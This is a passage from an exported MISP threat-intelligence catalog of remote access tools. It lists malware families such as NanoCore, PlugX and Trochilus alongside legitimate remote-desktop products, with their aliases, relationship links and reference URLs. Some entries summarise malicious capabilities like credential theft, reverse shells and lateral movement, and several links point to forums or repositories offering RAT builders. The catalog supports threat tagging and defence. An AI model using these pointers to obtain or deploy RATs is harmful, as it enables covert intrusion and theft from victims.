The tag is: *misp-galaxy:rat="Nuclear RAT"*

Table 14196. Table References

Links

http://malware.wikia.com/wiki/Nuclear_RAT
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/

Ozone

C++ REMOTE CONTROL PROGRAM

The tag is: *misp-galaxy:rat="Ozone"*

Table 14197. Table References

Links
http://ozonercp.com/

Xanity

The tag is: *misp-galaxy:rat="Xanity"*

Table 14198. Table References

Links
https://github.com/alienwithin/xanity-php-rat

DarkMoon

The tag is: *misp-galaxy:rat="DarkMoon"*

DarkMoon is also known as:

- Dark Moon

Xpert

The tag is: *misp-galaxy:rat="Xpert"*

Table 14199. Table References

Links
http://broad-product.biz/forum/r-a-t-(remote-administration-tools)/xpert-rat-3-0-10-by-abronsius(vb6)/
https://www.nulled.to/topic/18355-xpert-rat-309/
https://trickytamilan.blogspot.lu/2016/03/xpert-rat.html

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening

a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: *misp-galaxy:rat="Kiler RAT"*

Kiler RAT is also known as:

- Njw0rm

View relationships graph

Kiler RAT has relationships with:

- similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

Table 14200. Table References

Links
https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off

Brat

The tag is: *misp-galaxy:rat="Brat"*

MINI-MO

The tag is: *misp-galaxy:rat="MINI-MO"*

Lost Door

Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It's promoted on social media sites like YouTube and Facebook. Its maker, "OussamiO," even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.

The tag is: *misp-galaxy:rat="Lost Door"*

Lost Door is also known as:

- LostDoor

Table 14201. Table References

Links
http://lost-door.blogspot.lu/
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/lost-door-rat

Loki RAT

Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.

The tag is: *misp-galaxy:rat="Loki RAT"*

Table 14202. Table References

Links
https://www.rekings.com/loki-rat-php-rat/

MLRat

The tag is: *misp-galaxy:rat="MLRat"*

Table 14203. Table References

Links
https://github.com/BahNahNah/MLRat

SpyCronic

The tag is: *misp-galaxy:rat="SpyCronic"*

Table 14204. Table References

Links
http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html
http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html
https://ranger-exploit.com/spycronic-v1-02-1/

Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

The tag is: *misp-galaxy:rat="Pupy"*

View relationships graph

Pupy has relationships with:

- similar: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="likely"

Table 14205. Table References

Links
https://github.com/n1nj4sec/pupy

Nova

Nova is a proof of concept demonstrating screen sharing over UDP hole punching.

The tag is: *misp-galaxy:rat="Nova"*

Table 14206. Table References

Links
http://novarat.sourceforge.net/

BD Y3K RAT

The tag is: *misp-galaxy:rat="BD Y3K RAT"*

BD Y3K RAT is also known as:

- Back Door Y3K RAT
- Y3k

Table 14207. Table References

Links
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=2
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=0&softwareVersion=6.0&releaseVersion=S177
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20292
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20264

Turkojan

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.

The tag is: *misp-galaxy:rat="Turkojan"*

Table 14208. Table References

Links
http://turkojan.blogspot.lu/

TINY

TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.

The tag is: *misp-galaxy:rat="TINY"*

Table 14209. Table References

Links
http://josh.com/tiny/

SharK

sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.

The tag is: *misp-galaxy:rat="SharK"*

SharK is also known as:

- SHARK
- Shark

View relationships graph

SharK has relationships with:

- similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"

Table 14210. Table References

Links
https://www.security-database.com/toolswatch/SharK-3-Remote-Administration-Tool.html
http://lpc1.clpccd.cc.ca.us/lpc/mdaoud/CNT7501/NETLABS/Ethical_Hacking_Lab_05.pdf

Snowdoor

Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.

The tag is: *misp-galaxy:rat="Snowdoor"*

Snowdoor is also known as:

- Backdoor.Blizzard
- Backdoor.Fxdoor
- Backdoor.Snowdoor
- Backdoor:Win32/Snowdoor

Table 14211. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99

Paradox

The tag is: *misp-galaxy:rat="Paradox"*

Table 14212. Table References

Links
https://www.nulled.to/topic/155464-paradox-rat/

SpyNote

Android RAT

The tag is: *misp-galaxy:rat="SpyNote"*

View relationships graph

SpyNote has relationships with:

- similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"

Table 14213. Table References

Links
https://www.rekings.com/spynote-v4-android-rat/

ZOMBIE SLAYER

The tag is: *misp-galaxy:rat="ZOMBIE SLAYER"*

HTTP WEB BACKDOOR

The tag is: *misp-galaxy:rat="HTTP WEB BACKDOOR"*

NET-MONITOR PRO

Net Monitor for Employees lets you see what everyone's doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.

The tag is: *misp-galaxy:rat="NET-MONITOR PRO"*

Table 14214. Table References

Links
https://networklookout.com/help/

DameWare Mini Remote Control

Affordable remote control software for all your customer support and help desk needs.

The tag is: *misp-galaxy:rat="DameWare Mini Remote Control"*

DameWare Mini Remote Control is also known as:

- dameware

Table 14215. Table References

Links
http://www.dameware.com/dameware-mini-remote-control

Remote Utilities

Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.

The tag is: *misp-galaxy:rat="Remote Utilities"*

Table 14216. Table References

Links
https://www.remoteutilities.com/

Ammyy Admin

Ammyy Admin is a completely portable remote access program that's extremely simple to setup. It

works by connecting one computer to another via an ID supplied by the program.

The tag is: *misp-galaxy:rat="Ammyy Admin"*

Ammyy Admin is also known as:

- Ammyy

Table 14217. Table References

Links
http://ammyy-admin.soft32.com/

Ultra VNC

UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.

The tag is: *misp-galaxy:rat="Ultra VNC"*

Table 14218. Table References

Links
http://www.uvnc.com/

AeroAdmin

AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.

The tag is: *misp-galaxy:rat="AeroAdmin"*

Table 14219. Table References

Links
http://www.aeroadmin.com/en/

Windows Remote Desktop

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

The tag is: *misp-galaxy:rat="Windows Remote Desktop"*

RemotePC

RemotePC, for good or bad, is a more simple free remote desktop program. You’re only allowed one connection (unless you upgrade) but for many of you, that’ll be just fine.

The tag is: *misp-galaxy:rat="RemotePC"*

Table 14220. Table References

Links
https://www.remotepc.com/

Seecreen

Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.

The tag is: *misp-galaxy:rat="Seecreen"*

Seecreen is also known as:

- Firnass

Table 14221. Table References

Links
http://seecreen.com/

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

The tag is: *misp-galaxy:rat="Chrome Remote Desktop"*

View relationships graph

Chrome Remote Desktop has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 14222. Table References

Links
https://chrome.google.com/webstore/detail/chrome-remote-desktop/gbchcmhmhahfdphkhkmpfmihenigjmpp?hl=en

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.

The tag is: *misp-galaxy:rat="AnyDesk"*

Table 14223. Table References

Links
https://anydesk.com/remote-desktop

LiteManager

LiteManager is another remote access program, and it's strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: *misp-galaxy:rat="LiteManager"*

Table 14224. Table References

Links
http://www.litemanager.com/

Comodo Unite

Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.

The tag is: *misp-galaxy:rat="Comodo Unite"*

Table 14225. Table References

Links
https://www.comodo.com/home/download/download.php?prod=comodounite

ShowMyPC

ShowMyPC is a portable and free remote access program that's nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.

The tag is: *misp-galaxy:rat="ShowMyPC"*

Table 14226. Table References

Links
https://showmypc.com/

join.me

join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.

The tag is: *misp-galaxy:rat="join.me"*

Table 14227. Table References

Links
https://www.join.me/

DesktopNow

DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.

The tag is: *misp-galaxy:rat="DesktopNow"*

Table 14228. Table References

Links
http://www.nchsoftware.com/remotedesktop/index.html

BeamYourScreen

Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter's screen.

The tag is: *misp-galaxy:rat="BeamYourScreen"*

Table 14229. Table References

Links
http://www.beamyourscreen.com/

Casa RAT

The tag is: *misp-galaxy:rat="Casa RAT"*

Bandook RAT

Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features

The tag is: *misp-galaxy:rat="Bandook RAT"*

Table 14230. Table References

Links

http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/

Cerberus RAT

The tag is: *misp-galaxy:rat="Cerberus RAT"*

Table 14231. Table References

Links
http://www.hacktohell.org/2011/05/setting-up-cerberus-ratremote.html

Syndrome RAT

The tag is: *misp-galaxy:rat="Syndrome RAT"*

Snoopy

Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.

The tag is: *misp-galaxy:rat="Snoopy"*

Table 14232. Table References

Links
http://www.spy-emergency.com/research/S/Snoopy.html

5p00f3r.N$ RAT

The tag is: *misp-galaxy:rat="5p00f3r.N$ RAT"*

P. Storrie RAT

The tag is: *misp-galaxy:rat="P. Storrie RAT"*

1. Storrie RAT is also known as:
    - P.Storrie RAT

xHacker Pro RAT

The tag is: *misp-galaxy:rat="xHacker Pro RAT"*

NetDevil

Backdoor.NetDevil allows a hacker to remotely control an infected computer.

The tag is: *misp-galaxy:rat="NetDevil"*

View relationships graph

NetDevil has relationships with:

- similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"

Table 14233. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99

NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: *misp-galaxy:rat="NanoCore"*

View relationships graph

NanoCore has relationships with:

- similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"

Table 14234. Table References

Links
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

Cobian RAT

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised

on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family

The tag is: *misp-galaxy:rat="Cobian RAT"*

View relationships graph

Cobian RAT has relationships with:

- similar: misp-galaxy:malpedia="Cobian RAT" with estimative-language:likelihood-probability="likely"

Table 14235. Table References

Links
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Netsupport Manager

NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.

The tag is: *misp-galaxy:rat="Netsupport Manager"*

Table 14236. Table References

Links
http://www.netsupportmanager.com/index.asp

VorteX

The tag is: *misp-galaxy:rat="VorteX"*

Assassin

The tag is: *misp-galaxy:rat="Assassin"*

Net Devil

The tag is: *misp-galaxy:rat="Net Devil"*

Net Devil is also known as:

- NetDevil

View relationships graph

Net Devil has relationships with:

- similar: misp-galaxy:rat="NetDevil" with estimative-language:likelihood-probability="likely"

Table 14237. Table References

Links
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20702

A4Zeta

The tag is: *misp-galaxy:rat="A4Zeta"*

Table 14238. Table References

Links
http://www.megasecurity.org/trojans/a/a4zeta/A4zeta_b2.html

Greek Hackers RAT

The tag is: *misp-galaxy:rat="Greek Hackers RAT"*

Table 14239. Table References

Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

MRA RAT

The tag is: *misp-galaxy:rat="MRA RAT"*

Table 14240. Table References

Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

Sparta RAT

The tag is: *misp-galaxy:rat="Sparta RAT"*

Table 14241. Table References

Links
http://www.connect-trojan.net/2015/09/sparta-rat-1.2-by-azooz-ejram.html

LokiTech

The tag is: *misp-galaxy:rat="LokiTech"*

MadRAT

The tag is: *misp-galaxy:rat="MadRAT"*

Tequila Bandita

The tag is: *misp-galaxy:rat="Tequila Bandita"*

Table 14242. Table References

Links
http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html

Toquito Bandito

The tag is: *misp-galaxy:rat="Toquito Bandito"*

Table 14243. Table References

Links
http://www.megasecurity.org/trojans/t/toquitobandito/Toquitobandito_all.html

MofoTro

MofoTro is a new rat coded by Cool_mofo_2.

The tag is: *misp-galaxy:rat="MofoTro"*

Table 14244. Table References

Links
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotroresurrection.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta1.5.html

Hav-RAT

Written in Delphi

The tag is: *misp-galaxy:rat="Hav-RAT"*

Table 14245. Table References

Links
http://www.megasecurity.org/trojans/h/hav/Havrat1.2.html

ComRAT

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.

The tag is: *misp-galaxy:rat="ComRAT"*

View relationships graph

ComRAT has relationships with:

- similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 14246. Table References

Links
https://attack.mitre.org/wiki/Software/S0126

4H RAT

4H RAT is malware that has been used by Putter Panda since at least 2007.

The tag is: *misp-galaxy:rat="4H RAT"*

View relationships graph

4H RAT has relationships with:

- similar: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="likely"

Table 14247. Table References

Links
https://attack.mitre.org/wiki/Software/S0065

Darknet RAT

The tag is: *misp-galaxy:rat="Darknet RAT"*

Darknet RAT is also known as:

- Dark NET RAT

Table 14248. Table References

Links
http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html

CIA RAT

The tag is: *misp-galaxy:rat="CIA RAT"*

Minimo

The tag is: *misp-galaxy:rat="Minimo"*

miniRAT

The tag is: *misp-galaxy:rat="miniRAT"*

Pain RAT

The tag is: *misp-galaxy:rat="Pain RAT"*

PlugX

PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.

The tag is: *misp-galaxy:rat="PlugX"*

PlugX is also known as:

- Korplug
- SOGU
- Scontroller

View relationships graph

PlugX has relationships with:

- similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 14249. Table References

Links
https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf

UNITEDRAKE

The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.

The tag is: *misp-galaxy:rat="UNITEDRAKE"*

Table 14250. Table References

Links
http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html
https://www.itnews.com.au/news/shadowbrokers-release-unitedrake-nsa-malware-472771

MegaTrojan

Written in Visual Basic

The tag is: *misp-galaxy:rat="MegaTrojan"*

Table 14251. Table References

Links
http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html

Venomous Ivy

The tag is: *misp-galaxy:rat="Venomous Ivy"*

Xploit

The tag is: *misp-galaxy:rat="Xploit"*

Arctic R.A.T.

The tag is: *misp-galaxy:rat="Arctic R.A.T."*

Arctic R.A.T. is also known as:

- Artic

Table 14252. Table References

Links
http://anti-virus-soft.com/threats/artic

GOlden Phoenix

The tag is: *misp-galaxy:rat="GOlden Phoenix"*

Table 14253. Table References

Links
http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html

GraphicBooting

The tag is: *misp-galaxy:rat="GraphicBooting"*

Table 14254. Table References

Links
http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0

Pocket RAT

The tag is: *misp-galaxy:rat="Pocket RAT"*

Erebus

The tag is: *misp-galaxy:rat="Erebus"*

View relationships graph

Erebus has relationships with:

- similar: misp-galaxy:malpedia="Erebus (ELF)" with estimative-language:likelihood-probability="likely"

SharpEye

The tag is: *misp-galaxy:rat="SharpEye"*

Table 14255. Table References

Links
http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html
http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html

Archelaus Beta

The tag is: *misp-galaxy:rat="Archelaus Beta"*

Table 14256. Table References

Links
http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html

BlackHole

C# RAT (Remote Adminitration Tool) - Educational purposes only

The tag is: *misp-galaxy:rat="BlackHole"*

View relationships graph

BlackHole has relationships with:

- similar: misp-galaxy:exploit-kit="BlackHole" with estimative-language:likelihood-probability="likely"

Table 14257. Table References

Links
https://github.com/hussein-aitlahcen/BlackHole

Vanguard

The tag is: *misp-galaxy:rat="Vanguard"*

Table 14258. Table References

Links
http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html

Ahtapod

The tag is: *misp-galaxy:rat="Ahtapod"*

Table 14259. Table References

Links
http://www.ibtimes.co.uk/turkish-journalist-baris-pehlivan-jailed-terrorism-was-framed-by-hackers-says-report-1577481

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:rat="FINSPY"*

View relationships graph

FINSPY has relationships with:

- similar: misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"

Table 14260. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

Seed RAT

Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.

The tag is: *misp-galaxy:rat="Seed RAT"*

Table 14261. Table References

Links
http://www.nuclearwintercrew.com/Products-View/25/Seed_1.1/

SharpBot

The tag is: *misp-galaxy:rat="SharpBot"*

TorCT PHP RAT

The tag is: *misp-galaxy:rat="TorCT PHP RAT"*

Table 14262. Table References

Links
https://github.com/alienwithin/torCT-PHP-RAT

A32s RAT

The tag is: *misp-galaxy:rat="A32s RAT"*

Char0n

The tag is: *misp-galaxy:rat="Char0n"*

Nytro

The tag is: *misp-galaxy:rat="Nytro"*

Syla

The tag is: *misp-galaxy:rat="Syla"*

Table 14263. Table References

Links
http://www.connect-trojan.net/2013/07/syla-rat-0.3.html

Cobalt Strike

Cobalt Strike is software for Adversary Simulations and Red Team Operations.

The tag is: *misp-galaxy:rat="Cobalt Strike"*

View relationships graph

Cobalt Strike has relationships with:

- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 14264. Table References

Links
https://www.cobaltstrike.com/

Sakula

The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.

The tag is: *misp-galaxy:rat="Sakula"*

Sakula is also known as:

- Sakurel
- VIPER

View relationships graph

Sakula has relationships with:

- similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 14265. Table References

Links
https://www.secureworks.com/research/sakula-malware-family

hcdLoader

hcdLoader is a remote access tool (RAT) that has been used by APT18.

The tag is: *misp-galaxy:rat="hcdLoader"*

View relationships graph

hcdLoader has relationships with:

- similar: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="likely"

Table 14266. Table References

Links
https://attack.mitre.org/wiki/Software/S0071

Crimson

The tag is: *misp-galaxy:rat="Crimson"*

View relationships graph

Crimson has relationships with:

- similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 14267. Table References

Links
http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html

KjW0rm

The tag is: *misp-galaxy:rat="KjW0rm"*

View relationships graph

KjW0rm has relationships with:

- similar: misp-galaxy:tool="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 14268. Table References

Links
http://hack-defender.blogspot.fr/2015/12/kjw0rm-v05x.html

Ghost

The tag is: *misp-galaxy:rat="Ghost"*

Ghost is also known as:

- Ucul

Table 14269. Table References

Links
https://www.youtube.com/watch?v=xXZW4ajVYkI

9002

The tag is: *misp-galaxy:rat="9002"*

Sandro RAT

The tag is: *misp-galaxy:rat="Sandro RAT"*

Mega

The tag is: *misp-galaxy:rat="Mega"*

WiRAT

The tag is: *misp-galaxy:rat="WiRAT"*

3PARA RAT

The tag is: *misp-galaxy:rat="3PARA RAT"*

View relationships graph

3PARA RAT has relationships with:

- similar: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="likely"

Table 14270. Table References

Links
https://books.google.fr/books?isbn=2212290136

BBS RAT

The tag is: *misp-galaxy:rat="BBS RAT"*

Konni

KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.

The tag is: *misp-galaxy:rat="Konni"*

Konni is also known as:

- KONNI

View relationships graph

Konni has relationships with:

- similar: misp-galaxy:tool="KONNI" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni (Windows)" with estimative-language:likelihood-probability="likely"

Table 14271. Table References

Links
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://www.cylance.com/en_us/blog/threat-spotlight-konni-stealthy-remote-access-trojan.html
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

Felismus RAT

Used by Sowbug

The tag is: *misp-galaxy:rat="Felismus RAT"*

Table 14272. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user's device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: *misp-galaxy:rat="Xsser"*

Xsser is also known as:

- mRAT

Table 14273. Table References

Links
https://blogs.akamai.com/2014/12/ios-and-android-os-targeted-by-man-in-the-middle-attacks.html
http://malware.wikia.com/wiki/Xsser_mRAT

GovRAT

GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various

threat actors across the years.

The tag is: *misp-galaxy:rat="GovRAT"*

View relationships graph

GovRAT has relationships with:

- similar: misp-galaxy:malpedia="GovRAT" with estimative-language:likelihood-probability="likely"

Table 14274. Table References

Links
http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html
http://securityaffairs.co/wordpress/51202/cyber-crime/govrat-2-0-attacks.html

Rottie3

The tag is: *misp-galaxy:rat="Rottie3"*

Table 14275. Table References

Links
https://www.youtube.com/watch?v=jUg5—68Iqs

Killer RAT

The tag is: *misp-galaxy:rat="Killer RAT"*

Hi-Zor

The tag is: *misp-galaxy:rat="Hi-Zor"*

View relationships graph

Hi-Zor has relationships with:

- similar: misp-galaxy:mitre-malware="Hi-Zor - S0087" with estimative-language:likelihood-probability="likely"

Table 14276. Table References

Links
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: *misp-galaxy:rat="Quaverse"*

Quaverse is also known as:

- QRAT

Table 14277. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/

Heseber

The tag is: *misp-galaxy:rat="Heseber"*

Cardinal

Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.

The tag is: *misp-galaxy:rat="Cardinal"*

View relationships graph

Cardinal has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

Table 14278. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/
https://www.scmagazine.com/cardinal-rats-unique-downloader-allowed-it-to-avoid-detection-for-years/article/651927/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

OmniRAT

Works on all Android, Windows, Linux and Mac devices!

The tag is: *misp-galaxy:rat="OmniRAT"*

View relationships graph

OmniRAT has relationships with:

- similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"

Table 14279. Table References

Links
https://omnirat.eu/en/

Jfect

The tag is: *misp-galaxy:rat="Jfect"*

Table 14280. Table References

Links
https://www.youtube.com/watch?v=qKdoExQFb68

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan's functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: *misp-galaxy:rat="Trochilus"*

View relationships graph

